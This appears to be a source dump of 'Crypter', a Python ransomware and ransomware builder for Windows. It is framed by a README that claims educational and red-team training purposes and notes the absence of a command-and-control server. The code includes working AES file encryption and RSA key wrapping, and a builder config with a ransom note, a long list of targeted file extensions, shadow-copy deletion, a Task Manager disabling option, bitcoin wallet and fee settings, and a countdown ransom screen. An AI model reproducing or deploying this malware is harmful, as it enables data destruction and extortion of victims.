4 | A Ransomware and Ransomware Builder for Windows written purely in Python 5 |
3 |
4 | A Ransomware and Ransomware Builder for Windows written purely in Python
5 |
36 | Crypter is intended for educational and research purposes only. This software should not be used within any system or network for which you do not have permission, nor should it be used for any illegal or illicit purposes. The author takes no responsibility for any damages that may be caused by the software in this repository. 37 |
38 |39 | Once compiled, Crypter WILL encrypt the files on the computer on which it is executed. Whilst Crypter provides you with access to the decryption key, enabling you to decrypt any encrypted files, bugs and other issues could, in theory, interrupt or prevent a successful decryption. Consequently, a permanent and irreversible loss of data could occur. To avoid any potential damage, you should only run Crypter on a test machine created for this purpose. 40 |
41 |42 | Once again,the author accepts no responsibility for any damages that may occur, and by downloading this software you accept and agree to this disclaimer. 43 |
44 | 45 |
47 | 
48 | Builder application (left) for customising and building the Crypter Ransomware (right)
49 |
90 | Crypter was created for two reasons: 91 |
96 |
97 | Traditionally, malware is written in compiled languages like C and C++. As a security researches and Python developer, I set out to determine the extent to which interpretted languages could be used for the creation of malware. At the same time I was working for a security reseller who offered Red vs. Blue training to large enterprises. The training environment made use of live malware samples which were realistic, but unreliable and volatile. After completing the initial PoC, I continued working on Crypter for this organisation to provide a customisable Ransomware sample for use use in this environment. 98 |
99 | 100 | #### 2. Why make it publically available? 101 |102 | Crypter was made publically available to enable security researchers and enthusiasts to gain a better understanding of Ransomware. While there are plenty of guides and videos on the topic, they usually don't provide the understanding that can be gained by experiencing something first hand. 103 |
104 | 105 | #### 3. But couldn't it be used by criminals for malicious purposes?! 106 |107 | While Crypter can be used to simulate a real Ransomware attack, steps have been taken to allow users to reverse any damage, and to prevent use by criminals in the wild. Ransomware is only useful to a criminal if they have the ability to decrypt the user's files and the user does not. Traditionally this is done by sending the encryption key to a remote Command & Control (CnC) server controlled by an attack once the user's files have been encrypted. The victim then pays a ransom fee to retrieve access to the key that will decrypt their files. 108 |
109 |110 | With Crypter however, there is no inbuilt CnC capability. Once the user's files have been encrypted, the decryption key is written to key.txt in the same directory as the ransomware executable. The user can then use this key to decrypt their files. 111 |
112 | 113 | 114 | #### 4. Could it not be adapted for malicious use? 115 |116 | It is certainly possible to further develop Crypter and implement the missing CnC capabilities. However, this requires expertise and knowledge in programming as well as malware tactics and techniques. Anyone motivated and knowledgeable enough to add these components would most likely create a piece of Ransomware from scratch, and not make use of an existing, open source and publically available package as the basis for their attacks. 117 |
118 | 119 | #### 5. Can you add a feature for me? 120 |121 | Firstly, if you're going to ask me if I can add CnC functionality, or implement some method for sending the encryption key to remote server, Email etc. please don't waste you time. This is not something I'm willing to do, as it would provide script kiddies with a ready made Ransomware tool that would almost certainly be used for nefarious purposes. Again, this project was created purely for research and educational purposes. 122 |
123 |124 | Alternatively, if there is a feature that you think could be cool or useful, then feel free to create an issue with some information on what you're looking for and why. I'm usually quite busy with other projects, but if I think it's worthwhile and I can find the time, I may see if it's something that I can implement. 125 |
126 | 127 | 128 | 129 | -------------------------------------------------------------------------------- /Crypter/Crypter/Crypt.py: -------------------------------------------------------------------------------- 1 | ''' 2 | @summary: Generic High level encryption library 3 | @author: MLS 4 | ''' 5 | 6 | # Import libs 7 | from Crypto.PublicKey import RSA 8 | from Crypto.Cipher import AES 9 | from Crypto import Random 10 | from Crypto.Random import random 11 | import os 12 | 13 | # Import classes 14 | from . import Base 15 | 16 | ###################### 17 | ## Symmetric Crypto ## 18 | ###################### 19 | class SymmetricCrypto(Base.Base): 20 | # Class to provide an object for symmetric cryptography interaction 21 | 22 | def __init__(self, key=None): 23 | # Init object 24 | #self.pad = lambda s: s + (self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) 25 | self.unpad = lambda s : s[0:-s[-1]] 26 | 27 | 28 | def pad(self, s): 29 | return s + bytes((self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE) * chr(self.PADDING_BLOCK_SIZE - len(s) % self.PADDING_BLOCK_SIZE), encoding="utf-8") 30 | 31 | def init_keys(self, key=None): 32 | ''' 33 | @summary: initialise the symmetric keys. Uses the provided key, or creates one 34 | @param key: If None provided, a new key is generated, otherwise the provided key is used 35 | ''' 36 | 37 | if not key: 38 | print("Loading a key") 39 | self.load_symmetric_key() 40 | else: 41 | print("using existing key: %s" % key) 42 | self.key = key 43 | 44 | 45 | def load_symmetric_key(self): 46 | # Function to load a local symmetric key if one is present 47 | 48 | if os.path.isfile("key.txt"): 49 | fh = open("key.txt", "r") 50 | self.key = fh.read() 51 | fh.close() 52 | print("Key file already here. Using + " + self.key) 53 | else: 54 | print("No key file. Generating") 55 | self.key = self.generate_key() 56 | 57 | def generate_key(self): 58 | # Function to generate a random key for encryption 59 | print("writing out key to " + os.getcwd()) 60 | 61 | key = ''.join(random.choice('0123456789ABCDEF') for i in range(32)) 62 | # DEV - Write to file 63 | fh = open("key.txt", "w") 64 | fh.write(key) 65 | fh.close() 66 | 67 | return key 68 | 69 | def process_file(self, file, action, extension): 70 | ''' 71 | @summary: Processes the specified file ready for encryption/decryption 72 | @param file: The absolute path to the target file 73 | @param extension: The extension of the encrypted file 74 | ''' 75 | 76 | # Process file details 77 | try: 78 | file_details = {'full_path': file, 79 | 'full_filename': file.split("\\")[-1], 80 | 'extension' : str(file.split("\\")[-1]).split(".")[1], 81 | 'filename' : str(file.split("\\")[-1]).split(".")[0], 82 | 'locked_path': file + "." + extension 83 | } 84 | except: 85 | file_details = {'full_path': file, 86 | 'full_filename': file.split("\\")[-1], 87 | 'extension' : None, 88 | 'filename' : str(file.split("\\")[-1]), 89 | 'locked_path': file + "." + extension 90 | } 91 | 92 | # Specify file state depending on action 93 | if action == "encrypt": 94 | file_details['state'] = "unencrypted" 95 | elif action == "decrypt": 96 | file_details['state'] = "encrypted" 97 | 98 | # Error Checking 99 | file_details['error'] = False 100 | 101 | # Return dict 102 | return file_details 103 | 104 | 105 | def decrypt_file(self, file, decryption_key, extension): 106 | ''' 107 | @summary: Decrypts the target file 108 | @param file: Absolute path to the file to decrypt 109 | @param extension: The extension that was added to the encrypted file 110 | ''' 111 | 112 | # Get file details and check for errors 113 | file_details = self.process_file(file, "decrypt", extension) 114 | if file_details['error']: 115 | print("Some kind of error getting file details") 116 | return 117 | 118 | # Open file reading and writing handles 119 | try: 120 | fh_read = open(file_details["locked_path"], "rb") 121 | fh_write = open(file_details["full_path"], "wb") 122 | except IOError as io: 123 | print("Got IO Error below fh read and write: %s" % io) 124 | return False 125 | 126 | # Read blocks and decrypt 127 | while True: 128 | # 4118 for block size + iv + padding 129 | block = fh_read.read(self.BLOCK_SIZE_BYTES + 32) 130 | 131 | # Check that block is valid 132 | if not block: 133 | break 134 | 135 | ciphertext = block 136 | iv = ciphertext[:self.IV_SIZE] 137 | ciphertext = ciphertext[self.IV_SIZE:] 138 | cipher = AES.new(bytes(decryption_key, encoding="utf-8"), AES.MODE_CBC, iv) 139 | cleartext = self.unpad(cipher.decrypt(ciphertext)) 140 | 141 | # Write decrypted block 142 | fh_write.write(cleartext) 143 | 144 | # Close file handle 145 | fh_write.close() 146 | fh_read.close() 147 | 148 | # Update state 149 | file_details['state'] = "unencrypted" 150 | 151 | return file_details["locked_path"] 152 | 153 | 154 | def encrypt_file(self, file, extension): 155 | ''' 156 | @summary: Encrypts the target file 157 | @param file: Absolute path to the file to encrypt 158 | @param extension: The extension to add to the encrypted file 159 | ''' 160 | 161 | # Get file details and process content 162 | file_details = self.process_file(file, "encrypt", extension) 163 | if file_details['error']: 164 | return False 165 | 166 | # Open file reading and writing handles 167 | try: 168 | fh_read = open(file_details["full_path"], "rb") 169 | fh_write = open(file_details["locked_path"], "wb") 170 | except IOError: 171 | return False 172 | 173 | # Read blocks and encrypt 174 | while True: 175 | block = fh_read.read(self.BLOCK_SIZE_BYTES) 176 | 177 | # Check block is valid 178 | if not block: 179 | break 180 | 181 | # Attempt padding 182 | to_encrypt = self.pad(block) 183 | 184 | 185 | iv = Random.new().read(AES.block_size) 186 | cipher = AES.new(bytes(self.key, encoding="utf-8"), AES.MODE_CBC, iv) 187 | try: 188 | # Create ciphertext. Length is now 4096 + 32 (block + iv + padding) 189 | ciphertext = (iv + cipher.encrypt(to_encrypt)) 190 | except MemoryError: 191 | return False 192 | 193 | # Write encrypted block 194 | fh_write.write(ciphertext) 195 | 196 | # Close file handles 197 | fh_write.close() 198 | fh_read.close() 199 | 200 | # Update state 201 | file_details['state'] = "encrypted" 202 | return file_details['locked_path'] 203 | 204 | 205 | ######################## 206 | ## GenerateKeys Class ## 207 | ######################## 208 | class GenerateKeys(): 209 | # Class to generate asymmetric keys for symmetric key encryption, via RSA 210 | 211 | def __init__(self): 212 | # Init object and define vars 213 | self.local_public_key = "" 214 | self.local_private_key = "" 215 | self.key_length = 2048 216 | 217 | # Generate Keys 218 | rsa_handle = RSA.generate(self.key_length) 219 | self.local_private_key = rsa_handle.exportKey('PEM') 220 | self.local_public_key = rsa_handle.publickey() 221 | self.local_public_key = self.local_public_key.exportKey('PEM') 222 | 223 | ################### 224 | ## Encrypt Class ## 225 | ################### 226 | class EncryptKey(): 227 | # Class to create Encrypt object for symmetric key 228 | 229 | def __init__(self, recipient_public_key, sym_key): 230 | # Init object 231 | self.recipient_public_key = recipient_public_key 232 | self.key_to_encrypt = str(sym_key) 233 | 234 | # Encrypt the data 235 | self.encrypted_key = self.encrypt_key() 236 | 237 | def encrypt_key(self): 238 | # Function to encrypt the provided symmetric key 239 | 240 | rsa_handle = RSA.importKey(self.recipient_public_key) 241 | key = rsa_handle.encrypt(self.key_to_encrypt, 1) 242 | 243 | return key 244 | 245 | 246 | ################### 247 | ## Decrypt Class ## 248 | ################### 249 | class DecryptKey(): 250 | # Class to create Decrypt object for symmetric key 251 | 252 | def __init__(self, private_key, sym_key, phrase): 253 | # Init object 254 | self.private_key = private_key 255 | self.key_to_decrypt = sym_key 256 | self.phrase = phrase 257 | 258 | # Decrypt the data 259 | self.decrypted_key = self.decrypt_key() 260 | 261 | def decrypt_key(self): 262 | # Function to decrypt the provided symmetric key 263 | 264 | rsa_handle = RSA.importKey(self.private_key, self.phrase) 265 | key = rsa_handle.decrypt(self.key_to_decrypt) 266 | 267 | return key 268 | 269 | # TEST 270 | if __name__ == "__main__": 271 | pass 272 | # Sym test 273 | #test = SymmetricCrypto() 274 | #test.encrypt_file("C:\\Users\\Sithis\\development\\experimental\\crypto\\test.txt") 275 | #test.decrypt_file("C:\\Users\\Sithis\\development\\experimental\\crypto\\test.txt") 276 | 277 | 278 | # PKI Test 279 | #test = GenerateKeys() 280 | #encrypt_test = EncryptKey(test.local_public_key, "C3C9BF85E96BC3489996280489C1EE24") 281 | #decrypt_test = DecryptKey(test.local_private_key, encrypt_test.encrypted_key, None) 282 | #print(encrypt_test.encrypted_key) 283 | #print(decrypt_test.decrypted_key) 284 | 285 | -------------------------------------------------------------------------------- /CrypterBuilder/Base.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | ''' 3 | @summary: Crypter Builder: Base schema and config 4 | @author: MLS 5 | ''' 6 | 7 | # Import libs 8 | import re 9 | import os 10 | from collections import OrderedDict 11 | 12 | ## VERSION 13 | MAJ_VERSION = "3" 14 | MIN_VERSION = "5" 15 | 16 | # TITLE 17 | TITLE = "Crypter Builder v%s.%s" % (MAJ_VERSION, MIN_VERSION) 18 | CRYPTER_FILENAME = "Crypter" 19 | 20 | ## LANGUAGE 21 | SUPPORTED_LANGUAGES = [ 22 | u"English", 23 | #u"Русский" 24 | ] 25 | 26 | DEFAULT_LANGUAGE = "English" 27 | 28 | # English Form text 29 | english_language_form_labels = { 30 | "language_settings_sizer": "Language" 31 | } 32 | 33 | ## DEFAULT RANSOM MESSAGE 34 | RANSOM_MESSAGE = """The important files on your computer have been encrypted with military grade AES-256 bit encryption. 35 | 36 | Your documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server. 37 | 38 | To acquire this key, transfer the Bitcoin Fee to the specified wallet address before the time runs out. 39 | 40 | If you fail to take action within this time window, the decryption key will be destroyed and access to your files will be permanently lost.""" 41 | 42 | ## DEFAULT FILETYPES TO ENCRYPT 43 | ENCRYPTABLE_FILETYPES = [ 44 | # GENERAL FORMATS 45 | "dat", "keychain", "sdf", "vcf", 46 | # IMAGE FORMATS 47 | "jpg", "png", "tiff", "tif", "gif", "jpeg", "jif", "jfif", "jp2", "jpx", "j2k", "j2c", "fpx", "pcd", "bmp", "svg", 48 | "3dm", "3ds", "max", "obj", "dds", "psd", "tga", "thm", "tif", "tiff", "yuv", "ai", "eps", "ps", "svg", "indd", 49 | "pct", 50 | # VIDEO FORMATS 51 | "mp4", "avi", "mkv", "3g2", "3gp", "asf", "flv", "m4v", "mov", "mpg", "rm", "srt", "swf", "vob", "wmv", 52 | # DOCUMENT FORMATS 53 | "doc", "docx", "txt", "pdf", "log", "msg", "odt", "pages", "rtf", "tex", "wpd", "wps", "csv", "ged", "key", "pps", 54 | "ppt", "pptx", "xml", "json", "xlsx", "xlsm", "xlsb", "xls", "mht", "mhtml", "htm", "html", "xltx", "prn", "dif", 55 | "slk", "xlam", "xla", "ods", "docm", "dotx", "dotm", "xps", "ics", 56 | # SOUND FORMATS 57 | "mp3", "aif", "iff", "m3u", "m4a", "mid", "mpa", "wav", "wma", 58 | # EXE AND PROGRAM FORMATS 59 | "msi", "php", "apk", "app", "bat", "cgi", "com", "asp", "aspx", "cer", "cfm", "css", "htm", "html", 60 | "js", "jsp", "rss", "xhtml", "c", "class", "cpp", "cs", "h", "java", "lua", "pl", "py", "sh", "sln", "swift", 61 | "vb", "vcxproj", 62 | # GAME FILES 63 | "dem", "gam", "nes", "rom", "sav", 64 | # COMPRESSION FORMATS 65 | "tgz", "zip", "rar", "tar", "7z", "cbr", "deb", "gz", "pkg", "rpm", "zipx", "iso", 66 | # MISC 67 | "ged", "accdb", "db", "dbf", "mdb", "sql", "fnt", "fon", "otf", "ttf", "cfg", "ini", "prf", "bak", "old", "tmp", 68 | "torrent" 69 | ] 70 | 71 | 72 | ## CONFIGURATION 73 | ''' 74 | @summary: The builder configuration dictionary containing the configuration options loaded into the GUI 75 | @note: To add a new field, adjust the GUI form appropriately and add the settings for the new 76 | field to this dictionary 77 | ''' 78 | BUILDER_CONFIG_ITEMS = OrderedDict([ 79 | ( 80 | "builder_language", { 81 | "label": "Builder Language", 82 | "label_object_name": "BuilderLanguageLabel", 83 | "input_object_name": "BuilderLanguageChoice", 84 | "example": "English or Русский", 85 | "input_requirement": "One of the supported languages", 86 | "config_area": "Language", 87 | "validate": False, 88 | "default": "English" 89 | } 90 | ), 91 | ( 92 | "debug_level", { 93 | "label": "Debug verbosity level", 94 | "label_object_name": "DebugLevelLabel", 95 | "input_object_name": "DebugLevelChoice", 96 | "example": "0 - Minimal", 97 | "input_requirement": "Build process debug level", 98 | "config_area": "Debug", 99 | "validate": False, 100 | "default": "1 - Low" 101 | } 102 | ), 103 | ( 104 | "pyinstaller_aes_key", { 105 | "label": "PyInstaller AES Key", 106 | "label_object_name": "PyinstallerAesKeyLabel", 107 | "input_object_name": "PyinstallerAesKeyTextCtrl", 108 | "regex": re.compile("^([A-Za-z0-9]{16})?$"), 109 | "example": "093AC769F6557577452E9DB2C74B984A", 110 | "input_requirement": "A 16 byte(character) string of alphanumeric characters", 111 | "validate": True, 112 | "config_area": "Binary Settings" 113 | } 114 | ), 115 | ( 116 | "icon_file", { 117 | "label": "Icon", 118 | "label_object_name": "IconLabel", 119 | "input_object_name": "IconFilePicker", 120 | "regex": re.compile("^.*$"), 121 | "example": "C:\\Users\\test\\icon.ico", 122 | "input_requirement": "A file path pointing to the location of a valid .ico icon file", 123 | "default": "", 124 | "validate": True, 125 | "config_area": "Binary Settings" 126 | } 127 | ), 128 | ( 129 | "upx_dir", { 130 | "label": "UPX Packer Directory", 131 | "label_object_name": "UpxDirLabel", 132 | "input_object_name": "UpxDirPicker", 133 | "regex": re.compile("^.*$"), 134 | "example": "C:\\Program Files\\upx394w", 135 | "input_requirement": "A path pointing to the UPX Packer directory", 136 | "default": "", 137 | "validate": True, 138 | "config_area": "Binary Settings" 139 | } 140 | ), 141 | ( 142 | "open_gui_on_login", { 143 | "label": "Open GUI on Login", 144 | "input_object_name": "OpenGuiOnLoginCheckbox", 145 | "config_area": "Ransomware Settings", 146 | "validate": False, 147 | "default": True 148 | } 149 | ), 150 | ( 151 | "time_delay", { 152 | "label": "Time Delay (s)", 153 | "input_object_name": "TimeDelayTextCtrl", 154 | "regex": re.compile("^\d*$"), 155 | "config_area": "Ransomware Settings", 156 | "validate": True, 157 | "default": "0" 158 | } 159 | ), 160 | ( 161 | "delete_shadow_copies", { 162 | "label": "Delete Shadow Copies", 163 | "input_object_name": "DeleteShadowCopiesCheckbox", 164 | "config_area": "Ransomware Settings", 165 | "validate": False, 166 | "default": True 167 | } 168 | ), 169 | ( 170 | "disable_task_manager", { 171 | "label": "Disable Task Manager", 172 | "input_object_name": "DisableTaskManagerCheckbox", 173 | "config_area": "Ransomware Settings", 174 | "validate": False, 175 | "default": False 176 | } 177 | ), 178 | ( 179 | "gui_title", { 180 | "label": "GUI Title", 181 | "label_object_name": "GuiTitleLabel", 182 | "input_object_name": "GuiTitleTextCtrl", 183 | "regex": re.compile("^.{0,20}$"), 184 | "example": "CRYPTER", 185 | "input_requirement": "A Title to display in Crypter GUI", 186 | "validate": True, 187 | "default": "CRYPTER", 188 | "config_area": "Ransomware Settings" 189 | } 190 | ), 191 | ( 192 | "key_destruction_time", { 193 | "label": "Key Destruction Time(s)", 194 | "label_object_name": "KeyDestructionTimeLabel", 195 | "input_object_name": "KeyDestructionTimeTextCtrl", 196 | "regex": re.compile("^[0-9]*$"), 197 | "example": "259200", 198 | "input_requirement": "A valid integer or floating point number", 199 | "config_area": "Ransomware Settings", 200 | "validate": True, 201 | "default": "259200" 202 | } 203 | ), 204 | ( 205 | "wallet_address", { 206 | "label": "Wallet Address", 207 | "label_object_name": "WalletAddressLabel", 208 | "input_object_name": "WalletAddressTextCtrl", 209 | "regex": re.compile("^([A-Za-z0-9]{26,35})?$"), 210 | "example": "12mdKVNfAhLbRDLtRWQFhQgydgU6bUMjay", 211 | "input_requirement": "A bitcoin wallet address as a series of alphanumeric" 212 | " characters (26-35 characters in length", 213 | "config_area": "Ransomware Settings", 214 | "validate": True, 215 | "default": "12mdKVNfAhLbRDLtRWQFhQgydgU6bUMjay" 216 | } 217 | ), 218 | ( 219 | "bitcoin_fee", { 220 | "label": "Bitcoin Fee", 221 | "label_object_name": "BitcoinFeeLabel", 222 | "input_object_name": "BitcoinFeeTextCtrl", 223 | "regex": re.compile("^([0-9]+(\.[0-9+]+)?)?$"), 224 | "example": "0.0897", 225 | "input_requirement": "A valid integer or floating point number", 226 | "config_area": "Ransomware Settings", 227 | "validate": True, 228 | "default": "1.0" 229 | } 230 | ), 231 | ( 232 | "encrypt_attached_drives", { 233 | "label": "Encrypt Attached Drives", 234 | "input_object_name": "EncryptAttachedDrivesCheckbox", 235 | "default": True, 236 | "validate": False, 237 | "config_area": "Ransomware Settings" 238 | } 239 | ), 240 | ( 241 | "encrypt_user_home", { 242 | "label": "Encrypt User Home", 243 | "input_object_name": "EncryptUserHomeCheckbox", 244 | "default": True, 245 | "validate": False, 246 | "config_area": "Ransomware Settings" 247 | } 248 | ), 249 | ( 250 | "max_file_size_to_encrypt", { 251 | "label": "Max File Size to Encrypt", 252 | "label_object_name": "MaxFileSizeLabel", 253 | "input_object_name": "MaxFileSizeTextCtrl", 254 | "regex": re.compile("^[0-9]*$"), 255 | "input_requirement": "A valid integer", 256 | "example": "512", 257 | "config_area": "Ransomware Settings", 258 | "validate": True, 259 | "default": "512" 260 | } 261 | ), 262 | ( 263 | "filetypes_to_encrypt", { 264 | "label": "Filetypes to Encrypt", 265 | "label_object_name": "FiletypesToEncryptLabel", 266 | "input_object_name": "FiletypesToEncryptTextCtrl", 267 | "regex": re.compile("^([A-Za-z0-9 ]+(,[A-Za-z0-9. ]+)*)?$"), 268 | "example": "pdf,exe,msi,doc", 269 | "input_requirement": "A comma-separated list of filetypes to encrypt", 270 | "config_area": "Ransomware Settings", 271 | "validate": True, 272 | "default": ",".join(ENCRYPTABLE_FILETYPES) 273 | } 274 | ), 275 | ( 276 | "encrypted_file_extension", { 277 | "label": "Encrypted File Extension", 278 | "label_object_name": "EncryptedFileExtensionLabel", 279 | "input_object_name": "EncryptedFileExtensionTextCtrl", 280 | "regex": re.compile("^[A-Za-z0-9.]*$"), 281 | "example": "locked", 282 | "input_requirement": "A series of alphanumeric character(s)", 283 | "config_area": "Ransomware Settings", 284 | "validate": True, 285 | "default": "locked" 286 | } 287 | ), 288 | ( 289 | "make_gui_resizeable", { 290 | "label": "Make GUI Resizeable", 291 | "input_object_name": "MakeGuiResizeableCheckbox", 292 | "default": False, 293 | "validate": False, 294 | "config_area": "Ransomware Settings" 295 | } 296 | ), 297 | ( 298 | "always_on_top", { 299 | "label": "Always On Top", 300 | "input_object_name": "AlwaysOnTopCheckbox", 301 | "default": False, 302 | "validate": False, 303 | "config_area": "Ransomware Settings" 304 | } 305 | ), 306 | ( 307 | "background_colour", { 308 | "label": "Background Colour", 309 | "input_object_name": "BackgroundColourPicker", 310 | "validate": False, 311 | "config_area": "Ransomware Settings" 312 | } 313 | ), 314 | ( 315 | "heading_font_colour", { 316 | "label": "Heading Font Colour", 317 | "input_object_name": "HeadingFontColourPicker", 318 | "validate": False, 319 | "config_area": "Ransomware Settings" 320 | } 321 | ), 322 | ( 323 | "primary_font_colour", { 324 | "label": "Primary Font Colour", 325 | "input_object_name": "PrimaryFontColourPicker", 326 | "validate": False, 327 | "config_area": "Ransomware Settings" 328 | } 329 | ), 330 | ( 331 | "secondary_font_colour", { 332 | "label": "Secondary Font Colour", 333 | "input_object_name": "SecondaryFontColourPicker", 334 | "validate": False, 335 | "config_area": "Ransomware Settings" 336 | } 337 | ), 338 | ( 339 | "ransom_message", { 340 | "label": "Ransom Message", 341 | "input_object_name": "RansomMessageTextCtrl", 342 | "regex": re.compile("^.*$", re.MULTILINE), 343 | "example": "", 344 | "input_requirement": "Ransom message/note", 345 | "config_area": "Ransomware Settings", 346 | "validate": False, 347 | "default": RANSOM_MESSAGE 348 | } 349 | ) 350 | ]) 351 | 352 | ''' 353 | @summary: Runtime configuration items. To be written to the Ransomware's runtime config file 354 | ''' 355 | RUNTIME_CONFIG_ITEMS = [ 356 | "gui_title", 357 | "encrypt_attached_drives", 358 | "encrypt_user_home", 359 | "encrypted_file_extension", 360 | "disable_task_manager", 361 | "open_gui_on_login", 362 | "time_delay", 363 | "wallet_address", 364 | "bitcoin_fee", 365 | "key_destruction_time", 366 | "max_file_size_to_encrypt", 367 | "filetypes_to_encrypt", 368 | "ransom_message", 369 | "make_gui_resizeable", 370 | "always_on_top", 371 | "background_colour", 372 | "heading_font_colour", 373 | "primary_font_colour", 374 | "secondary_font_colour", 375 | "delete_shadow_copies" 376 | ] 377 | 378 | PACKAGE_DIR = os.path.dirname(__file__) 379 | RUNTIME_CONFIG_PATH = os.path.join(PACKAGE_DIR, "Resources", "runtime.cfg") 380 | 381 | # ERRORS 382 | ERROR_INVALID_DATA = 13 383 | ERROR_INVALID_CONFIG_FILE = 110 384 | ERROR_CANNOT_WRITE = 80 385 | ERROR_FILE_NOT_FOUND = 2 -------------------------------------------------------------------------------- /Crypter/Crypter/GuiAbsBase.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | ########################################################################### 4 | ## Python code generated with wxFormBuilder (version Oct 26 2018) 5 | ## http://www.wxformbuilder.org/ 6 | ## 7 | ## PLEASE DO *NOT* EDIT THIS FILE! 8 | ########################################################################### 9 | 10 | import wx 11 | import wx.xrc 12 | 13 | ########################################################################### 14 | ## Class MainFrame 15 | ########################################################################### 16 | 17 | class MainFrame ( wx.Frame ): 18 | 19 | def __init__( self, parent ): 20 | wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u"Crypter", pos = wx.DefaultPosition, size = wx.Size( 940,800 ), style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE_BOX|wx.RESIZE_BORDER|wx.SYSTEM_MENU|wx.TAB_TRAVERSAL ) 21 | 22 | self.SetSizeHints( wx.Size( -1,-1 ), wx.Size( -1,-1 ) ) 23 | self.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNTEXT ) ) 24 | self.SetBackgroundColour( wx.Colour( 177, 7, 14 ) ) 25 | 26 | MainSizer = wx.BoxSizer( wx.VERTICAL ) 27 | 28 | self.HeaderPanel = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 29 | HeaderSizer = wx.BoxSizer( wx.VERTICAL ) 30 | 31 | self.TitleLabel = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"CRYPTER", wx.DefaultPosition, wx.DefaultSize, 0 ) 32 | self.TitleLabel.Wrap( -1 ) 33 | 34 | self.TitleLabel.SetFont( wx.Font( 48, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, True, "Courier New" ) ) 35 | self.TitleLabel.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNTEXT ) ) 36 | 37 | HeaderSizer.Add( self.TitleLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 10 ) 38 | 39 | self.FlashingMessageText = wx.StaticText( self.HeaderPanel, wx.ID_ANY, u"YOUR FILES HAVE BEEN ENCRYPTED!", wx.DefaultPosition, wx.DefaultSize, 0 ) 40 | self.FlashingMessageText.Wrap( -1 ) 41 | 42 | self.FlashingMessageText.SetFont( wx.Font( 18, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 43 | self.FlashingMessageText.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) 44 | 45 | HeaderSizer.Add( self.FlashingMessageText, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 5 ) 46 | 47 | 48 | self.HeaderPanel.SetSizer( HeaderSizer ) 49 | self.HeaderPanel.Layout() 50 | HeaderSizer.Fit( self.HeaderPanel ) 51 | MainSizer.Add( self.HeaderPanel, 1, wx.ALL|wx.EXPAND, 5 ) 52 | 53 | self.BodyPanel = wx.Panel( self, wx.ID_ANY, wx.Point( -1,-1 ), wx.DefaultSize, wx.TAB_TRAVERSAL ) 54 | BodySizer = wx.BoxSizer( wx.VERTICAL ) 55 | 56 | bSizer15 = wx.BoxSizer( wx.HORIZONTAL ) 57 | 58 | bSizer17 = wx.BoxSizer( wx.HORIZONTAL ) 59 | 60 | bSizer20 = wx.BoxSizer( wx.VERTICAL ) 61 | 62 | self.m_panel81 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL ) 63 | bSizer192 = wx.BoxSizer( wx.VERTICAL ) 64 | 65 | self.LockBitmap = wx.StaticBitmap( self.m_panel81, wx.ID_ANY, wx.NullBitmap, wx.DefaultPosition, wx.DefaultSize, 0 ) 66 | bSizer192.Add( self.LockBitmap, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALL, 7 ) 67 | 68 | 69 | self.m_panel81.SetSizer( bSizer192 ) 70 | self.m_panel81.Layout() 71 | bSizer192.Fit( self.m_panel81 ) 72 | bSizer20.Add( self.m_panel81, 0, wx.EXPAND |wx.ALL, 0 ) 73 | 74 | self.m_panel8 = wx.Panel( self.BodyPanel, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL|wx.BORDER_RAISED ) 75 | bSizer191 = wx.BoxSizer( wx.VERTICAL ) 76 | 77 | self.TimeRemainingLabel = wx.StaticText( self.m_panel8, wx.ID_ANY, u"TIME REMAINING", wx.DefaultPosition, wx.DefaultSize, 0 ) 78 | self.TimeRemainingLabel.Wrap( -1 ) 79 | 80 | self.TimeRemainingLabel.SetFont( wx.Font( 16, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 81 | self.TimeRemainingLabel.SetForegroundColour( wx.Colour( 255, 255, 0 ) ) 82 | 83 | bSizer191.Add( self.TimeRemainingLabel, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 10 ) 84 | 85 | self.TimeRemainingTime = wx.StaticText( self.m_panel8, wx.ID_ANY, u"00:00:00", wx.DefaultPosition, wx.DefaultSize, 0 ) 86 | self.TimeRemainingTime.Wrap( -1 ) 87 | 88 | self.TimeRemainingTime.SetFont( wx.Font( 16, wx.FONTFAMILY_MODERN, wx.FONTSTYLE_NORMAL, wx.FONTWEIGHT_BOLD, False, "Courier New" ) ) 89 | self.TimeRemainingTime.SetForegroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_BTNHIGHLIGHT ) ) 90 | 91 | bSizer191.Add( self.TimeRemainingTime, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5 ) 92 | 93 | 94 | self.m_panel8.SetSizer( bSizer191 ) 95 | self.m_panel8.Layout() 96 | bSizer191.Fit( self.m_panel8 ) 97 | bSizer20.Add( self.m_panel8, 0, wx.ALL|wx.EXPAND, 5 ) 98 | 99 | 100 | bSizer17.Add( bSizer20, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.EXPAND, 5 ) 101 | 102 | bSizer18 = wx.BoxSizer( wx.VERTICAL ) 103 | 104 | 